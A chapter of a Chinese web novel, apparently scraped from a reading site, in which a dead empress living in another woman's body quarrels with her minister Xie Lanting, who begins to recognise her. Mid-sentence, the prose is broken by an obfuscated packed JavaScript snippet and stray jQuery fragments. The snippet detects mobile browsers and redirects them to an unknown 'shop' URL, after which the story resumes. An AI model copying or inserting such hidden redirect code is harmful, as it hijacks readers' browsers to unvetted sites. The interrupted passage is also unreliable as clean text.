22.陛下

作品:《朕死后成为众爱卿的白月光

    清思殿中,谢兰亭走后,赵珏又小憩了片刻,精神才好些。


    可刚一睁眼,乍然又见谢兰亭出现在眼前,不由恍惚起来。


    “几时了?”她揉着眼睛问。


    谢兰亭却不答,闷不吭声地伸手将一支簪子放在她案前。


    赵珏一眼认出那是昨晚她刺伤秦千驰的簪子,眼皮子一跳,顿时清醒了。


    抬眼又见谢兰亭脸色颇有些严峻,她顿时又有些恼火起来:“怎么?谢舍人是要替那反贼来兴师问罪?”


    谢兰亭对新帝贸然之举很不赞同:“如此大的事,县主竟半点不知会于我……秦千驰昨夜若死在宫中,西北军哗变,待要如何镇压?”


    赵珏声音一下子拔高了:“朕才是皇帝!他秦千驰是反贼!朕杀反贼,天经地义。杀了反贼,叛军自有朕来收服,不劳谢舍人费心。”


    她口口声声自称朕,举止仪态也颇有帝王的气度,发怒时的气势也半点不虚。谢兰亭一时愣住了,倒不是心生畏惧,而是发觉她横眉怒目时的模样隐隐有几分梁贞宗的影子。


    这一闪而过的念头却越发让谢兰亭难过起来,她缓缓摇了摇头:“县主登基为帝,可县主终究不是梁贞宗。秦千驰统领西北军十余年,积威深重,除非高祖贞宗现世,谁奈他何?如今京中又有谁能稳住局势,收服数十万边军?只可恨这世上再无第二个梁贞宗。”


    赵珏扬声怒叱了一通,仍不解恨,听到这里,一腔怒火又一下子被浇灭了。她神情有些僵硬,一时间不知该做何表情。


    谢兰亭见她偃旗息鼓,还以为她听了劝,便又道:“贞宗在时,尚且惜才,秦将军不慎犯了她的忌讳,她也念及旧情和往日功绩,仍对他委以重任。反贼与否尚且不论,秦千驰昔年随贞宗征战十年,又苦守边塞十年,他不愧于这天下江山,纵是没有功劳也有苦劳,何至于就判了死刑。”


    这下把赵珏心中刚熄灭的那团火又挑起来了,甚至愈演愈烈:“你还要替他辩解!他要杀朕,朕岂能不自保?他率叛军入主京城,昨夜紫宸殿中又对朕下了杀手,还不是反贼?朕何曾冤枉了他?朕只后悔昨夜没能拿刀杀了他!”


    “县主,”谢兰亭眉心紧拧,她不明白赵瑛怎么突然变成了这般油盐不进、刚愎自用模样,“眼下局势不稳,天下不太平,你要想坐稳这皇位,就得如履薄冰、谨慎行事。”


    她赵珏就没有气得头晕,一下子脱口而出:“谢兰亭!你滚回岭南去!朕用不着你在这指手画脚。”


    此话一出,话音落地,殿内顿时安静了。


    谢兰亭颓然地跌坐在地上,难以置信地望着上首的新帝赵瑛。


    上一次听到这些话,还是她屡次进言相劝贞宗过继别姓子嗣为储,遭贞宗怒叱。


    这些年贞宗与谢兰亭政见不合,屡有争执。臣子机巧善辩,每每惹得帝王动怒,便扬言要把她逐回岭南去。


    一模一样,一字不差。连神情语气都如出一辙。


    可是怎么可能呢?眼前分明是宜安县主赵瑛的脸。


    可如若这世上当真有第二个梁贞宗,那么此前种种蹊跷之处便似乎有了解释。有些话旁人说来是刚愎自用,换成梁贞宗,那便是言出必行。


    赵珏话说出口,心跳也漏了一拍,只怪急火攻心。


    她低头轻咳了一声,道:“是我失言了,还请谢舍人勿怪。”


    谢兰亭恍若未闻,只定定地瞧着她。


    那目光灼灼,赵珏下意识避开了,又转移视线去取来了昨夜拿到的舆图,铺陈在桌案上。


    谢兰亭认出来,那是贞宗亲自绘制的大梁全境舆图。她从哪儿寻来的?


    赵珏摊开舆图,轻轻抚摸其上一座座城池,兀自低着头分析道:“秦千驰如今占据河西至京都一线,可谓大梁的命脉,可如今各方节度使虎视眈眈,他固守京都而不进,也非长久之计。待朕登基,他便可东出以收服各方。但更紧迫的不是东出,而是捉拿魏王一党,杀了小皇帝,否则他挟持上位的新帝便永远名不正言不顺。至于魏王——”


    “剑南。”谢兰亭突然接话。


    赵珏抬起头:“你也猜到了?”


    谢兰亭却摇头,她常年身居京中内朝,并不甚懂兵家之事。


    “是秦都护猜到的。臣忧心县主狂悖之举恐遭其忌恨,他却主动将簪子予我,嘱托我代为转交给县主。待登基大典毕了,他便要出征剑南,讨伐魏王,到时县主只需在京中稳坐明堂。”


    赵珏眉梢轻挑,未料秦千驰动作比她预计的还要快得多。却也不足为怪,魏王在外逃窜一日,他在京城便一日坐不安稳。


    转念一想,这对她而言也是好事,京城空虚之际,又何尝不是她反击的好时机。


    只待秦千驰离京,便可趁机将京城收归掌中。


    她盯着桌案上的那支簪子瞧了会儿,又很是不解地问:“谢舍人为何三言两语就被那反贼蛊惑?朕要稳坐明堂,要亲政,唯有杀了那反贼。他如今不杀我,只因他眼下需要一个赵氏皇帝来堵住天下悠悠之口。待来日时机成熟,便再无朕的容身之地。”


    印象中的谢兰亭从前可从不是会被男人花言巧语迷惑的性子,向来只有她哄骗愚弄男人的份儿。如今又究竟为何如此信任这秦千驰?


    谢兰亭闻言,脸上也显露出几分茫然的神色,连她自己想不太明白:“……也非信他,只是他的确是贞宗麾下二十年的心腹旧臣……他还说要为梁贞宗报仇。”


    “人心易变,二十年又如何?”赵珏哂了一声,“再者梁贞宗能有什么仇恨轮得到他来报?贞宗若在世,头一个寻仇的就是他秦千驰,如今这一切可都始于他擅自杀了贞宗派遣去西北的监军。更何况如若不是他擅离边关、直取京都,又何至于让这江山支离破碎。”


    “若贞宗是死于非命呢?”谢兰亭忽然问。


    赵珏也并非不曾怀疑过自己的死因。虽说她同高祖一般死于心疾也不足为怪,但猝死在亲征的节骨眼上,还是太巧合了些。


    查自然是要查的,但不是此刻。这天下实在有太多人日夜盼着她死,年复一年的刺杀便不计其数,又如何找得尽杀得完呢?


    眼下更重要的不是追究梁贞宗的死,而是如何挽救这千疮百孔的赵氏江山。


    这天下江山是当初她一刀一剑打下来的,又是在高祖殷切盼望接到手里的,是她万万不能拱手送人、不可辜负的。


    “梁贞宗死于心疾。”她盖棺论定。


    如今她顶着赵瑛的躯壳,也可免去众多贞宗旧日仇敌的烦扰,好让她腾出手来收拾旧山河。待江山初定,再探究前尘也不迟。


    何况如今她无权无势,傀儡之身又要如何探查那捕风捉影的旧事。当务之急,还是要重掌权柄。


    新帝语气中的笃定,甚至让谢兰亭无法再出言反驳。就像昔年的梁贞宗,金口玉言下了论断,敕令下达,从不容旁人置疑。


    “谢舍人,”新帝低头研究


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460509|198892||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的舆图,“秦千驰要南下征讨魏王,朕给你两条路选。其一,跟随秦千驰南下,给朕盯紧了他,毋要让他杀了魏王和世子,赵家人纵是犯了错,也轮不到他一个外人来动手;其二,留在皇城,助朕夺回京都,朕要让反贼有去无回。”


    谢兰亭此行本是来质问、劝诫新帝,却不知何时被全然逆转了形势。


    一场君臣之间的争吵,似乎撕破了什么,却又不见天光。她依旧云里雾里,困惑极了,恁她如何琢磨,也想不出合理的解释。


    然理性思索是一回事,情绪感情又是另一回事。她望着上首的宜安县主,有些呆滞,有些茫然,鬼使神差地,她忍不住轻唤了一声——


    “陛下?”


    她是疑问的口吻,似是在确认什么。


    赵珏兀自低头研读那舆图,内心犹豫了片刻,终是轻叹了口气,抬起头来看向她。


    如若明日一睁眼,这具躯壳的主人变回了赵瑛,被推上帝位的赵瑛该如何自处?赵氏江山又该如何守下去?


    如今既然顶了赵瑛的躯壳,就要为新帝赵瑛培养忠心的臣子,以免将来乾坤正位之时,江山再度陷入动荡。


    “朕即贞宗之位登基,自然是陛下。”新帝的语气四平八稳,神色也泰然自若,很是稀松平常地接受了独属于皇帝的称呼,“贞宗既托梦于朕,朕自当守好赵氏江山。”


    谢兰亭不知为何竟有些失望,魂不守舍地发怔。


    贞宗陛下入土落葬已有半载,她又究竟在期盼什么?


    日头升得很高了,阳光泼洒进殿,难得是个暖融融的冬日,是崭新的一日。


    谢兰亭抬眼望向新帝,见她沐在阳光下,眉眼瞧不大清,那通身的威仪却已十足像个君临天下的皇帝了。


    “臣省得了。自当为……陛下效忠尽力,以全先帝遗命,不敢有贰心。”


    不论如何,宜安县主赵瑛有贞宗昔年魄力十之一二,也足以让她安心不少,不至于在群狼环伺之中轻易没了性命,有负先帝之托。


    千般万般,赵瑛终是不曾违了先帝之愿。即便是梁贞宗在世,她最在意的终究还是她赵家的江山,但凡有人生出异心胆敢染指,她手起刀落从不心慈。


    既如此,她是君,她是臣,她要做什么,她听命便是了。


    这时候,恰逢黄岑将煎好的汤药送了进殿来。


    谢兰亭伸手接过药碗,自己先尝了一口,试药,确认无碍后方端给新帝。


    赵珏将一整碗热汤药一饮而尽,又想起谢兰亭今早细细检查了这药方子,便问了句:“倒不知谢舍人还懂医术?”


    谢兰亭答:“只略知些皮毛,家母患病时请不到郎中,便找来几本医书自个儿琢磨。”


    赵珏心知谢母是流放岭南时染的病,接回京城时已无力回天,一时间哽住了。


    可叹她往日里还疑心谢兰亭会因此生恨而伺机报复,到头来忠心耿耿的却是她。君臣虽有政见不合,但她效忠贞宗之心却是日月可鉴的。


    谢兰亭倒是神色如常,将空药碗放回红木托盘让宫女收下去。谢家之事,在她心中早已翻篇了。


    “谢舍人如何选?南下还是留京?”赵珏忽而又问。


    谢兰亭垂眸思量须臾,轻声道:“臣欲为先帝立传修史,还是留在京中更为便宜。”


    “既如此……”新帝思忖了片刻,又道,“且拟一封奏折,请封他为王,去探一探他的底。”


    “封王?”